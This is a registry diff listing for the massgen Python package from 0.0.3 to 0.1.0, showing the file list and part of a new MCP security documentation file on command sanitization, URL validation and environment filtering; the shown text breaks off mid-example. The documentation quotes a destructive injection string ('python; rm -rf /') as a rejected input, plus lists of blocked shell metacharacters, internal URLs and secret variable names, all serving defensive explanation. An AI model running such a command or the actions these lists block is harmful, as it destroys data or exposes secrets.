massgen 0.0.3__py3-none-any.whl → 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of massgen might be problematic. Click here for more details.
- massgen/__init__.py +142 -8
- massgen/adapters/__init__.py +29 -0
- massgen/adapters/ag2_adapter.py +483 -0
- massgen/adapters/base.py +183 -0
- massgen/adapters/tests/__init__.py +0 -0
- massgen/adapters/tests/test_ag2_adapter.py +439 -0
- massgen/adapters/tests/test_agent_adapter.py +128 -0
- massgen/adapters/utils/__init__.py +2 -0
- massgen/adapters/utils/ag2_utils.py +236 -0
- massgen/adapters/utils/tests/__init__.py +0 -0
- massgen/adapters/utils/tests/test_ag2_utils.py +138 -0
- massgen/agent_config.py +329 -55
- massgen/api_params_handler/__init__.py +10 -0
- massgen/api_params_handler/_api_params_handler_base.py +99 -0
- massgen/api_params_handler/_chat_completions_api_params_handler.py +176 -0
- massgen/api_params_handler/_claude_api_params_handler.py +113 -0
- massgen/api_params_handler/_response_api_params_handler.py +130 -0
- massgen/backend/__init__.py +39 -4
- massgen/backend/azure_openai.py +385 -0
- massgen/backend/base.py +341 -69
- massgen/backend/base_with_mcp.py +1102 -0
- massgen/backend/capabilities.py +386 -0
- massgen/backend/chat_completions.py +577 -130
- massgen/backend/claude.py +1033 -537
- massgen/backend/claude_code.py +1203 -0
- massgen/backend/cli_base.py +209 -0
- massgen/backend/docs/BACKEND_ARCHITECTURE.md +126 -0
- massgen/backend/{CLAUDE_API_RESEARCH.md → docs/CLAUDE_API_RESEARCH.md} +18 -18
- massgen/backend/{GEMINI_API_DOCUMENTATION.md → docs/GEMINI_API_DOCUMENTATION.md} +9 -9
- massgen/backend/docs/Gemini MCP Integration Analysis.md +1050 -0
- massgen/backend/docs/MCP_IMPLEMENTATION_CLAUDE_BACKEND.md +177 -0
- massgen/backend/docs/MCP_INTEGRATION_RESPONSE_BACKEND.md +352 -0
- massgen/backend/docs/OPENAI_GPT5_MODELS.md +211 -0
- massgen/backend/{OPENAI_RESPONSES_API_FORMAT.md → docs/OPENAI_RESPONSE_API_TOOL_CALLS.md} +3 -3
- massgen/backend/docs/OPENAI_response_streaming.md +20654 -0
- massgen/backend/docs/inference_backend.md +257 -0
- massgen/backend/docs/permissions_and_context_files.md +1085 -0
- massgen/backend/external.py +126 -0
- massgen/backend/gemini.py +1850 -241
- massgen/backend/grok.py +40 -156
- massgen/backend/inference.py +156 -0
- massgen/backend/lmstudio.py +171 -0
- massgen/backend/response.py +1095 -322
- massgen/chat_agent.py +131 -113
- massgen/cli.py +1560 -275
- massgen/config_builder.py +2396 -0
- massgen/configs/BACKEND_CONFIGURATION.md +458 -0
- massgen/configs/README.md +559 -216
- massgen/configs/ag2/ag2_case_study.yaml +27 -0
- massgen/configs/ag2/ag2_coder.yaml +34 -0
- massgen/configs/ag2/ag2_coder_case_study.yaml +36 -0
- massgen/configs/ag2/ag2_gemini.yaml +27 -0
- massgen/configs/ag2/ag2_groupchat.yaml +108 -0
- massgen/configs/ag2/ag2_groupchat_gpt.yaml +118 -0
- massgen/configs/ag2/ag2_single_agent.yaml +21 -0
- massgen/configs/basic/multi/fast_timeout_example.yaml +37 -0
- massgen/configs/basic/multi/gemini_4o_claude.yaml +31 -0
- massgen/configs/basic/multi/gemini_gpt5nano_claude.yaml +36 -0
- massgen/configs/{gemini_4o_claude.yaml → basic/multi/geminicode_4o_claude.yaml} +3 -3
- massgen/configs/basic/multi/geminicode_gpt5nano_claude.yaml +36 -0
- massgen/configs/basic/multi/glm_gemini_claude.yaml +25 -0
- massgen/configs/basic/multi/gpt4o_audio_generation.yaml +30 -0
- massgen/configs/basic/multi/gpt4o_image_generation.yaml +31 -0
- massgen/configs/basic/multi/gpt5nano_glm_qwen.yaml +26 -0
- massgen/configs/basic/multi/gpt5nano_image_understanding.yaml +26 -0
- massgen/configs/{three_agents_default.yaml → basic/multi/three_agents_default.yaml} +8 -4
- massgen/configs/basic/multi/three_agents_opensource.yaml +27 -0
- massgen/configs/basic/multi/three_agents_vllm.yaml +20 -0
- massgen/configs/basic/multi/two_agents_gemini.yaml +19 -0
- massgen/configs/{two_agents.yaml → basic/multi/two_agents_gpt5.yaml} +14 -6
- massgen/configs/basic/multi/two_agents_opensource_lmstudio.yaml +31 -0
- massgen/configs/basic/multi/two_qwen_vllm_sglang.yaml +28 -0
- massgen/configs/{single_agent.yaml → basic/single/single_agent.yaml} +1 -1
- massgen/configs/{single_flash2.5.yaml → basic/single/single_flash2.5.yaml} +1 -2
- massgen/configs/basic/single/single_gemini2.5pro.yaml +16 -0
- massgen/configs/basic/single/single_gpt4o_audio_generation.yaml +22 -0
- massgen/configs/basic/single/single_gpt4o_image_generation.yaml +22 -0
- massgen/configs/basic/single/single_gpt4o_video_generation.yaml +24 -0
- massgen/configs/basic/single/single_gpt5nano.yaml +20 -0
- massgen/configs/basic/single/single_gpt5nano_file_search.yaml +18 -0
- massgen/configs/basic/single/single_gpt5nano_image_understanding.yaml +17 -0
- massgen/configs/basic/single/single_gptoss120b.yaml +15 -0
- massgen/configs/basic/single/single_openrouter_audio_understanding.yaml +15 -0
- massgen/configs/basic/single/single_qwen_video_understanding.yaml +15 -0
- massgen/configs/debug/code_execution/command_filtering_blacklist.yaml +29 -0
- massgen/configs/debug/code_execution/command_filtering_whitelist.yaml +28 -0
- massgen/configs/debug/code_execution/docker_verification.yaml +29 -0
- massgen/configs/debug/skip_coordination_test.yaml +27 -0
- massgen/configs/debug/test_sdk_migration.yaml +17 -0
- massgen/configs/docs/DISCORD_MCP_SETUP.md +208 -0
- massgen/configs/docs/TWITTER_MCP_ENESCINAR_SETUP.md +82 -0
- massgen/configs/providers/azure/azure_openai_multi.yaml +21 -0
- massgen/configs/providers/azure/azure_openai_single.yaml +19 -0
- massgen/configs/providers/claude/claude.yaml +14 -0
- massgen/configs/providers/gemini/gemini_gpt5nano.yaml +28 -0
- massgen/configs/providers/local/lmstudio.yaml +11 -0
- massgen/configs/providers/openai/gpt5.yaml +46 -0
- massgen/configs/providers/openai/gpt5_nano.yaml +46 -0
- massgen/configs/providers/others/grok_single_agent.yaml +19 -0
- massgen/configs/providers/others/zai_coding_team.yaml +108 -0
- massgen/configs/providers/others/zai_glm45.yaml +12 -0
- massgen/configs/{creative_team.yaml → teams/creative/creative_team.yaml} +16 -6
- massgen/configs/{travel_planning.yaml → teams/creative/travel_planning.yaml} +16 -6
- massgen/configs/{news_analysis.yaml → teams/research/news_analysis.yaml} +16 -6
- massgen/configs/{research_team.yaml → teams/research/research_team.yaml} +15 -7
- massgen/configs/{technical_analysis.yaml → teams/research/technical_analysis.yaml} +16 -6
- massgen/configs/tools/code-execution/basic_command_execution.yaml +25 -0
- massgen/configs/tools/code-execution/code_execution_use_case_simple.yaml +41 -0
- massgen/configs/tools/code-execution/docker_claude_code.yaml +32 -0
- massgen/configs/tools/code-execution/docker_multi_agent.yaml +32 -0
- massgen/configs/tools/code-execution/docker_simple.yaml +29 -0
- massgen/configs/tools/code-execution/docker_with_resource_limits.yaml +32 -0
- massgen/configs/tools/code-execution/multi_agent_playwright_automation.yaml +57 -0
- massgen/configs/tools/filesystem/cc_gpt5_gemini_filesystem.yaml +34 -0
- massgen/configs/tools/filesystem/claude_code_context_sharing.yaml +68 -0
- massgen/configs/tools/filesystem/claude_code_flash2.5.yaml +43 -0
- massgen/configs/tools/filesystem/claude_code_flash2.5_gptoss.yaml +49 -0
- massgen/configs/tools/filesystem/claude_code_gpt5nano.yaml +31 -0
- massgen/configs/tools/filesystem/claude_code_single.yaml +40 -0
- massgen/configs/tools/filesystem/fs_permissions_test.yaml +87 -0
- massgen/configs/tools/filesystem/gemini_gemini_workspace_cleanup.yaml +54 -0
- massgen/configs/tools/filesystem/gemini_gpt5_filesystem_casestudy.yaml +30 -0
- massgen/configs/tools/filesystem/gemini_gpt5nano_file_context_path.yaml +43 -0
- massgen/configs/tools/filesystem/gemini_gpt5nano_protected_paths.yaml +45 -0
- massgen/configs/tools/filesystem/gpt5mini_cc_fs_context_path.yaml +31 -0
- massgen/configs/tools/filesystem/grok4_gpt5_gemini_filesystem.yaml +32 -0
- massgen/configs/tools/filesystem/multiturn/grok4_gpt5_claude_code_filesystem_multiturn.yaml +58 -0
- massgen/configs/tools/filesystem/multiturn/grok4_gpt5_gemini_filesystem_multiturn.yaml +58 -0
- massgen/configs/tools/filesystem/multiturn/two_claude_code_filesystem_multiturn.yaml +47 -0
- massgen/configs/tools/filesystem/multiturn/two_gemini_flash_filesystem_multiturn.yaml +48 -0
- massgen/configs/tools/mcp/claude_code_discord_mcp_example.yaml +27 -0
- massgen/configs/tools/mcp/claude_code_simple_mcp.yaml +35 -0
- massgen/configs/tools/mcp/claude_code_twitter_mcp_example.yaml +32 -0
- massgen/configs/tools/mcp/claude_mcp_example.yaml +24 -0
- massgen/configs/tools/mcp/claude_mcp_test.yaml +27 -0
- massgen/configs/tools/mcp/five_agents_travel_mcp_test.yaml +157 -0
- massgen/configs/tools/mcp/five_agents_weather_mcp_test.yaml +103 -0
- massgen/configs/tools/mcp/gemini_mcp_example.yaml +24 -0
- massgen/configs/tools/mcp/gemini_mcp_filesystem_test.yaml +23 -0
- massgen/configs/tools/mcp/gemini_mcp_filesystem_test_sharing.yaml +23 -0
- massgen/configs/tools/mcp/gemini_mcp_filesystem_test_single_agent.yaml +17 -0
- massgen/configs/tools/mcp/gemini_mcp_filesystem_test_with_claude_code.yaml +24 -0
- massgen/configs/tools/mcp/gemini_mcp_test.yaml +27 -0
- massgen/configs/tools/mcp/gemini_notion_mcp.yaml +52 -0
- massgen/configs/tools/mcp/gpt5_nano_mcp_example.yaml +24 -0
- massgen/configs/tools/mcp/gpt5_nano_mcp_test.yaml +27 -0
- massgen/configs/tools/mcp/gpt5mini_claude_code_discord_mcp_example.yaml +38 -0
- massgen/configs/tools/mcp/gpt_oss_mcp_example.yaml +25 -0
- massgen/configs/tools/mcp/gpt_oss_mcp_test.yaml +28 -0
- massgen/configs/tools/mcp/grok3_mini_mcp_example.yaml +24 -0
- massgen/configs/tools/mcp/grok3_mini_mcp_test.yaml +27 -0
- massgen/configs/tools/mcp/multimcp_gemini.yaml +111 -0
- massgen/configs/tools/mcp/qwen_api_mcp_example.yaml +25 -0
- massgen/configs/tools/mcp/qwen_api_mcp_test.yaml +28 -0
- massgen/configs/tools/mcp/qwen_local_mcp_example.yaml +24 -0
- massgen/configs/tools/mcp/qwen_local_mcp_test.yaml +27 -0
- massgen/configs/tools/planning/five_agents_discord_mcp_planning_mode.yaml +140 -0
- massgen/configs/tools/planning/five_agents_filesystem_mcp_planning_mode.yaml +151 -0
- massgen/configs/tools/planning/five_agents_notion_mcp_planning_mode.yaml +151 -0
- massgen/configs/tools/planning/five_agents_twitter_mcp_planning_mode.yaml +155 -0
- massgen/configs/tools/planning/gpt5_mini_case_study_mcp_planning_mode.yaml +73 -0
- massgen/configs/tools/web-search/claude_streamable_http_test.yaml +43 -0
- massgen/configs/tools/web-search/gemini_streamable_http_test.yaml +43 -0
- massgen/configs/tools/web-search/gpt5_mini_streamable_http_test.yaml +43 -0
- massgen/configs/tools/web-search/gpt_oss_streamable_http_test.yaml +44 -0
- massgen/configs/tools/web-search/grok3_mini_streamable_http_test.yaml +43 -0
- massgen/configs/tools/web-search/qwen_api_streamable_http_test.yaml +44 -0
- massgen/configs/tools/web-search/qwen_local_streamable_http_test.yaml +43 -0
- massgen/coordination_tracker.py +708 -0
- massgen/docker/README.md +462 -0
- massgen/filesystem_manager/__init__.py +21 -0
- massgen/filesystem_manager/_base.py +9 -0
- massgen/filesystem_manager/_code_execution_server.py +545 -0
- massgen/filesystem_manager/_docker_manager.py +477 -0
- massgen/filesystem_manager/_file_operation_tracker.py +248 -0
- massgen/filesystem_manager/_filesystem_manager.py +813 -0
- massgen/filesystem_manager/_path_permission_manager.py +1261 -0
- massgen/filesystem_manager/_workspace_tools_server.py +1815 -0
- massgen/formatter/__init__.py +10 -0
- massgen/formatter/_chat_completions_formatter.py +284 -0
- massgen/formatter/_claude_formatter.py +235 -0
- massgen/formatter/_formatter_base.py +156 -0
- massgen/formatter/_response_formatter.py +263 -0
- massgen/frontend/__init__.py +1 -2
- massgen/frontend/coordination_ui.py +471 -286
- massgen/frontend/displays/base_display.py +56 -11
- massgen/frontend/displays/create_coordination_table.py +1956 -0
- massgen/frontend/displays/rich_terminal_display.py +1259 -619
- massgen/frontend/displays/simple_display.py +9 -4
- massgen/frontend/displays/terminal_display.py +27 -68
- massgen/logger_config.py +681 -0
- massgen/mcp_tools/README.md +232 -0
- massgen/mcp_tools/__init__.py +105 -0
- massgen/mcp_tools/backend_utils.py +1035 -0
- massgen/mcp_tools/circuit_breaker.py +195 -0
- massgen/mcp_tools/client.py +894 -0
- massgen/mcp_tools/config_validator.py +138 -0
- massgen/mcp_tools/docs/circuit_breaker.md +646 -0
- massgen/mcp_tools/docs/client.md +950 -0
- massgen/mcp_tools/docs/config_validator.md +478 -0
- massgen/mcp_tools/docs/exceptions.md +1165 -0
- massgen/mcp_tools/docs/security.md +854 -0
- massgen/mcp_tools/exceptions.py +338 -0
- massgen/mcp_tools/hooks.py +212 -0
- massgen/mcp_tools/security.py +780 -0
- massgen/message_templates.py +342 -64
- massgen/orchestrator.py +1515 -241
- massgen/stream_chunk/__init__.py +35 -0
- massgen/stream_chunk/base.py +92 -0
- massgen/stream_chunk/multimodal.py +237 -0
- massgen/stream_chunk/text.py +162 -0
- massgen/tests/mcp_test_server.py +150 -0
- massgen/tests/multi_turn_conversation_design.md +0 -8
- massgen/tests/test_azure_openai_backend.py +156 -0
- massgen/tests/test_backend_capabilities.py +262 -0
- massgen/tests/test_backend_event_loop_all.py +179 -0
- massgen/tests/test_chat_completions_refactor.py +142 -0
- massgen/tests/test_claude_backend.py +15 -28
- massgen/tests/test_claude_code.py +268 -0
- massgen/tests/test_claude_code_context_sharing.py +233 -0
- massgen/tests/test_claude_code_orchestrator.py +175 -0
- massgen/tests/test_cli_backends.py +180 -0
- massgen/tests/test_code_execution.py +679 -0
- massgen/tests/test_external_agent_backend.py +134 -0
- massgen/tests/test_final_presentation_fallback.py +237 -0
- massgen/tests/test_gemini_planning_mode.py +351 -0
- massgen/tests/test_grok_backend.py +7 -10
- massgen/tests/test_http_mcp_server.py +42 -0
- massgen/tests/test_integration_simple.py +198 -0
- massgen/tests/test_mcp_blocking.py +125 -0
- massgen/tests/test_message_context_building.py +29 -47
- massgen/tests/test_orchestrator_final_presentation.py +48 -0
- massgen/tests/test_path_permission_manager.py +2087 -0
- massgen/tests/test_rich_terminal_display.py +14 -13
- massgen/tests/test_timeout.py +133 -0
- massgen/tests/test_v3_3agents.py +11 -12
- massgen/tests/test_v3_simple.py +8 -13
- massgen/tests/test_v3_three_agents.py +11 -18
- massgen/tests/test_v3_two_agents.py +8 -13
- massgen/token_manager/__init__.py +7 -0
- massgen/token_manager/token_manager.py +400 -0
- massgen/utils.py +52 -16
- massgen/v1/agent.py +45 -91
- massgen/v1/agents.py +18 -53
- massgen/v1/backends/gemini.py +50 -153
- massgen/v1/backends/grok.py +21 -54
- massgen/v1/backends/oai.py +39 -111
- massgen/v1/cli.py +36 -93
- massgen/v1/config.py +8 -12
- massgen/v1/logging.py +43 -127
- massgen/v1/main.py +18 -32
- massgen/v1/orchestrator.py +68 -209
- massgen/v1/streaming_display.py +62 -163
- massgen/v1/tools.py +8 -12
- massgen/v1/types.py +9 -23
- massgen/v1/utils.py +5 -23
- massgen-0.1.0.dist-info/METADATA +1245 -0
- massgen-0.1.0.dist-info/RECORD +273 -0
- massgen-0.1.0.dist-info/entry_points.txt +2 -0
- massgen/frontend/logging/__init__.py +0 -9
- massgen/frontend/logging/realtime_logger.py +0 -197
- massgen-0.0.3.dist-info/METADATA +0 -568
- massgen-0.0.3.dist-info/RECORD +0 -76
- massgen-0.0.3.dist-info/entry_points.txt +0 -2
- /massgen/backend/{Function calling openai responses.md → docs/Function calling openai responses.md} +0 -0
- {massgen-0.0.3.dist-info → massgen-0.1.0.dist-info}/WHEEL +0 -0
- {massgen-0.0.3.dist-info → massgen-0.1.0.dist-info}/licenses/LICENSE +0 -0
- {massgen-0.0.3.dist-info → massgen-0.1.0.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,854 @@
|
|
|
1
|
+
# MCP Security Documentation
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
The MCP security module provides comprehensive security validation and sanitization for all interactions with MCP servers. It implements a defense-in-depth approach with multiple layers of validation to prevent command injection, unauthorized network access, and data exfiltration.
|
|
6
|
+
|
|
7
|
+
## Security Principles
|
|
8
|
+
|
|
9
|
+
### Threat Model
|
|
10
|
+
|
|
11
|
+
The security module addresses the following threats:
|
|
12
|
+
|
|
13
|
+
1. **Command Injection**: Malicious commands executed through stdio transport
|
|
14
|
+
2. **Network Attacks**: Unauthorized network access through HTTP transport
|
|
15
|
+
3. **Data Exfiltration**: Sensitive information leaked through environment variables
|
|
16
|
+
4. **Resource Abuse**: Excessive resource consumption through tool arguments
|
|
17
|
+
5. **Privilege Escalation**: Unauthorized access to system resources
|
|
18
|
+
|
|
19
|
+
### Security Levels
|
|
20
|
+
|
|
21
|
+
Three configurable security levels provide different trade-offs between security and functionality:
|
|
22
|
+
|
|
23
|
+
- **Strict**: Maximum security with minimal allowed operations
|
|
24
|
+
- **Moderate**: Balanced security suitable for most use cases
|
|
25
|
+
- **Permissive**: Relaxed security for trusted environments
|
|
26
|
+
|
|
27
|
+
## Command Sanitization
|
|
28
|
+
|
|
29
|
+
### prepare_command()
|
|
30
|
+
|
|
31
|
+
**What it does**: This is the main function that checks if a command is safe to run. It takes a command string (like "python -m server") and makes sure it doesn't contain dangerous characters that could be used to hack your system.
|
|
32
|
+
|
|
33
|
+
**Why you need it**: When MCP servers run commands on your computer, malicious servers could try to run harmful commands like deleting files. This function prevents that.
|
|
34
|
+
|
|
35
|
+
**Parameters**:
|
|
36
|
+
|
|
37
|
+
- `command` (required): The command string you want to run (e.g., "python -m my_server")
|
|
38
|
+
- `max_length`: Maximum allowed length (default: 1000 characters)
|
|
39
|
+
- `security_level`: How strict to be - "strict", "moderate", or "permissive" (default: "strict")
|
|
40
|
+
- `allowed_executables`: Optional list of programs you specifically allow
|
|
41
|
+
|
|
42
|
+
**Returns**: A list of command parts that are safe to use
|
|
43
|
+
|
|
44
|
+
**Note**: Executables are compared case-insensitively after stripping common Windows extensions (.exe, .bat, .cmd, .ps1).
|
|
45
|
+
|
|
46
|
+
```python
|
|
47
|
+
from massgen.mcp_tools.security import prepare_command
|
|
48
|
+
|
|
49
|
+
# ✅ Safe command preparation
|
|
50
|
+
safe_command = prepare_command(
|
|
51
|
+
command="python -m my_mcp_server --port 8000",
|
|
52
|
+
security_level="moderate"
|
|
53
|
+
)
|
|
54
|
+
print(f"Sanitized command: {safe_command}")
|
|
55
|
+
# Output: ['python', '-m', 'my_mcp_server', '--port', '8000']
|
|
56
|
+
|
|
57
|
+
# ❌ Dangerous command (will raise ValueError)
|
|
58
|
+
try:
|
|
59
|
+
dangerous_command = prepare_command(
|
|
60
|
+
command="python; rm -rf /", # Contains shell metacharacters
|
|
61
|
+
security_level="strict"
|
|
62
|
+
)
|
|
63
|
+
except ValueError as e:
|
|
64
|
+
print(f"Security violation: {e}")
|
|
65
|
+
# Output: "MCP command cannot contain shell metacharacters: ;"
|
|
66
|
+
|
|
67
|
+
# ✅ Using custom allowed executables
|
|
68
|
+
custom_command = prepare_command(
|
|
69
|
+
command="my-custom-tool --safe-mode",
|
|
70
|
+
security_level="strict",
|
|
71
|
+
allowed_executables={"my-custom-tool", "python"}
|
|
72
|
+
)
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### \_normalize_security_level()
|
|
76
|
+
|
|
77
|
+
**What it does**: Internal helper function that ensures security levels are valid. If you pass an invalid level, it defaults to "strict" for safety.
|
|
78
|
+
|
|
79
|
+
**Why it exists**: Prevents typos in security level names from accidentally making your system less secure.
|
|
80
|
+
|
|
81
|
+
```python
|
|
82
|
+
# This is used internally, but here's how it works:
|
|
83
|
+
level = _normalize_security_level("moderate") # Returns "moderate"
|
|
84
|
+
level = _normalize_security_level("typo") # Returns "strict" (safe default)
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### Security Level Behaviors
|
|
88
|
+
|
|
89
|
+
#### Strict Mode
|
|
90
|
+
|
|
91
|
+
```python
|
|
92
|
+
# Strict mode - only allows alphanumeric characters and safe symbols
|
|
93
|
+
config = {
|
|
94
|
+
"type": "stdio",
|
|
95
|
+
"command": "python3", # Must be in PATH or absolute path
|
|
96
|
+
"args": ["-m", "server"], # No shell metacharacters allowed
|
|
97
|
+
"security": {"level": "strict"}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
# Blocked in strict mode:
|
|
101
|
+
# - Shell metacharacters: ; | & $ ` ( ) < >
|
|
102
|
+
# - Relative paths with ../
|
|
103
|
+
# - Commands not in PATH
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
#### Moderate Mode
|
|
107
|
+
|
|
108
|
+
```python
|
|
109
|
+
# Moderate mode - allows common development patterns
|
|
110
|
+
config = {
|
|
111
|
+
"type": "stdio",
|
|
112
|
+
"command": "/usr/local/bin/node", # Absolute paths allowed
|
|
113
|
+
"args": ["server.js", "--config=./config.json"], # Relative paths OK
|
|
114
|
+
"security": {"level": "moderate"}
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
# Additional allowances in moderate mode:
|
|
118
|
+
# - Absolute paths to executables
|
|
119
|
+
# - Relative paths without ../
|
|
120
|
+
# - Common CLI argument patterns
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
#### Permissive Mode
|
|
124
|
+
|
|
125
|
+
```python
|
|
126
|
+
# Permissive mode - minimal restrictions for trusted environments
|
|
127
|
+
config = {
|
|
128
|
+
"type": "stdio",
|
|
129
|
+
"command": "bash",
|
|
130
|
+
"args": ["-c", "cd /app && python server.py"], # Shell commands allowed
|
|
131
|
+
"security": {"level": "permissive"}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
# Permissive mode still blocks:
|
|
135
|
+
# - Known dangerous patterns
|
|
136
|
+
# - Obvious injection attempts
|
|
137
|
+
# - Null bytes and control characters
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## URL Validation
|
|
141
|
+
|
|
142
|
+
### validate_url()
|
|
143
|
+
|
|
144
|
+
**What it does**: Checks if a web URL is safe to connect to. It looks at the web address and makes sure it's not trying to connect to dangerous places on your network or the internet.
|
|
145
|
+
|
|
146
|
+
**Why you need it**: MCP servers that use HTTP connections could try to access internal systems on your network or connect to malicious websites. This function blocks those attempts.
|
|
147
|
+
|
|
148
|
+
**Parameters**:
|
|
149
|
+
|
|
150
|
+
- `url` (required): The web address to check (e.g., "https://api.example.com/mcp")
|
|
151
|
+
- `resolve_dns`: Whether to look up the actual IP address (default: False)
|
|
152
|
+
- `allow_private_ips`: Whether to allow connections to private network addresses (default: False)
|
|
153
|
+
- `allow_localhost`: Whether to allow connections to your own computer (default: False)
|
|
154
|
+
- `allowed_hostnames`: List of exact hostnames you trust (optional, no wildcards or patterns)
|
|
155
|
+
|
|
156
|
+
**Returns**: True if the URL is safe, raises ValueError if dangerous
|
|
157
|
+
|
|
158
|
+
```python
|
|
159
|
+
from massgen.mcp_tools.security import validate_url
|
|
160
|
+
|
|
161
|
+
# ✅ Safe URL validation
|
|
162
|
+
try:
|
|
163
|
+
is_safe = validate_url(
|
|
164
|
+
"https://api.example.com/mcp",
|
|
165
|
+
resolve_dns=True,
|
|
166
|
+
allowed_hostnames={"api.example.com", "trusted-service.com"}
|
|
167
|
+
)
|
|
168
|
+
print(f"URL is safe: {is_safe}")
|
|
169
|
+
except ValueError as e:
|
|
170
|
+
print(f"URL validation failed: {e}")
|
|
171
|
+
|
|
172
|
+
# ❌ Examples of blocked URLs and why:
|
|
173
|
+
blocked_examples = {
|
|
174
|
+
"http://localhost:22/mcp": "SSH port - could be used to hack",
|
|
175
|
+
"https://192.168.1.1/mcp": "Private IP - could access internal systems",
|
|
176
|
+
"ftp://example.com/file": "Non-HTTP protocol - only HTTP/HTTPS allowed",
|
|
177
|
+
"https://malicious.com/mcp": "Not in allowlist - unknown website"
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
for url, reason in blocked_examples.items():
|
|
181
|
+
try:
|
|
182
|
+
validate_url(url)
|
|
183
|
+
except ValueError as e:
|
|
184
|
+
print(f"❌ {url} - {reason}")
|
|
185
|
+
print(f" Error: {e}")
|
|
186
|
+
|
|
187
|
+
# ✅ Advanced usage with DNS resolution
|
|
188
|
+
try:
|
|
189
|
+
validate_url(
|
|
190
|
+
"https://api.trusted-service.com/mcp",
|
|
191
|
+
resolve_dns=True, # Actually look up the IP address
|
|
192
|
+
allow_private_ips=False, # Block private network access
|
|
193
|
+
allowed_hostnames={"api.trusted-service.com"}
|
|
194
|
+
)
|
|
195
|
+
print("✅ URL passed all security checks")
|
|
196
|
+
except ValueError as e:
|
|
197
|
+
print(f"❌ Security check failed: {e}")
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### Network Security Controls
|
|
201
|
+
|
|
202
|
+
#### DNS Resolution and IP Filtering
|
|
203
|
+
|
|
204
|
+
```python
|
|
205
|
+
# The validator performs DNS resolution and blocks:
|
|
206
|
+
# - Private IP ranges (RFC 1918)
|
|
207
|
+
# - Loopback addresses (except explicitly allowed)
|
|
208
|
+
# - Multicast and broadcast addresses
|
|
209
|
+
# - Reserved IP ranges
|
|
210
|
+
|
|
211
|
+
config = {
|
|
212
|
+
"type": "streamable-http",
|
|
213
|
+
"url": "https://api.example.com/mcp",
|
|
214
|
+
"security": {
|
|
215
|
+
"level": "strict",
|
|
216
|
+
"allow_private_ips": False,
|
|
217
|
+
"allow_localhost": False,
|
|
218
|
+
"allowed_hostnames": ["api.example.com"]
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
#### Hostname Allowlists
|
|
224
|
+
|
|
225
|
+
**Note**: Only exact hostname matches are supported. Wildcards, regex patterns, and subdomain matching are not supported.
|
|
226
|
+
|
|
227
|
+
```python
|
|
228
|
+
# Restrict connections to specific hosts
|
|
229
|
+
config = {
|
|
230
|
+
"type": "streamable-http",
|
|
231
|
+
"url": "https://mcp.trusted-service.com/api",
|
|
232
|
+
"security": {
|
|
233
|
+
"level": "moderate",
|
|
234
|
+
"allowed_hostnames": [
|
|
235
|
+
"mcp.trusted-service.com",
|
|
236
|
+
"api.trusted-service.com"
|
|
237
|
+
]
|
|
238
|
+
}
|
|
239
|
+
}
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
```yaml
|
|
243
|
+
# YAML configuration example
|
|
244
|
+
security:
|
|
245
|
+
allowed_hostnames:
|
|
246
|
+
- "mcp.trusted-service.com"
|
|
247
|
+
- "api.trusted-service.com"
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
## Environment Variable Validation
|
|
251
|
+
|
|
252
|
+
### validate_environment_variables()
|
|
253
|
+
|
|
254
|
+
**What it does**: Environment variables are like settings that programs can read (like API keys, passwords, file paths). This function filters out dangerous or sensitive variables before they're passed to MCP servers.
|
|
255
|
+
|
|
256
|
+
**Why you need it**: MCP servers shouldn't have access to your passwords, API keys, or other sensitive information stored in environment variables. This function removes or filters them.
|
|
257
|
+
|
|
258
|
+
**Parameters**:
|
|
259
|
+
|
|
260
|
+
- `env` (required): Dictionary of environment variables to check
|
|
261
|
+
- `level`: Security level - "strict", "moderate", or "permissive" (default: "strict")
|
|
262
|
+
- `mode`: How to filter - "allowlist" (only allow specific ones) or "denylist" (block specific ones)
|
|
263
|
+
- `allowed_vars`: List of variables to allow (when using allowlist mode)
|
|
264
|
+
- `denied_vars`: List of variables to block (when using denylist mode)
|
|
265
|
+
- `max_key_length`: Maximum length for variable names (default: 100)
|
|
266
|
+
- `max_value_length`: Maximum length for variable values (default: 1000)
|
|
267
|
+
|
|
268
|
+
**Returns**: Dictionary of safe environment variables
|
|
269
|
+
|
|
270
|
+
```python
|
|
271
|
+
from massgen.mcp_tools.security import validate_environment_variables
|
|
272
|
+
|
|
273
|
+
# ✅ Allowlist mode - only let through safe variables
|
|
274
|
+
safe_env = validate_environment_variables(
|
|
275
|
+
env={"API_KEY": "secret123", "DEBUG": "true", "PATH": "/usr/bin", "LOG_LEVEL": "INFO"},
|
|
276
|
+
mode="allowlist",
|
|
277
|
+
allowed_vars={"DEBUG", "LOG_LEVEL", "CONFIG_PATH"} # Only these are allowed
|
|
278
|
+
)
|
|
279
|
+
print(f"Safe environment: {safe_env}")
|
|
280
|
+
# Output: {"DEBUG": "true", "LOG_LEVEL": "INFO"}
|
|
281
|
+
# Note: API_KEY and PATH were filtered out for security
|
|
282
|
+
|
|
283
|
+
# ✅ Denylist mode - block dangerous variables
|
|
284
|
+
filtered_env = validate_environment_variables(
|
|
285
|
+
env={"API_KEY": "secret", "DEBUG": "true", "USER": "admin", "PASSWORD": "123"},
|
|
286
|
+
mode="denylist",
|
|
287
|
+
denied_vars={"API_KEY", "PASSWORD", "SECRET"} # Block these dangerous ones
|
|
288
|
+
)
|
|
289
|
+
print(f"Filtered environment: {filtered_env}")
|
|
290
|
+
# Output: {"DEBUG": "true", "USER": "admin"}
|
|
291
|
+
# Note: API_KEY and PASSWORD were removed
|
|
292
|
+
|
|
293
|
+
# ✅ Strict mode automatically blocks common sensitive patterns
|
|
294
|
+
strict_env = validate_environment_variables(
|
|
295
|
+
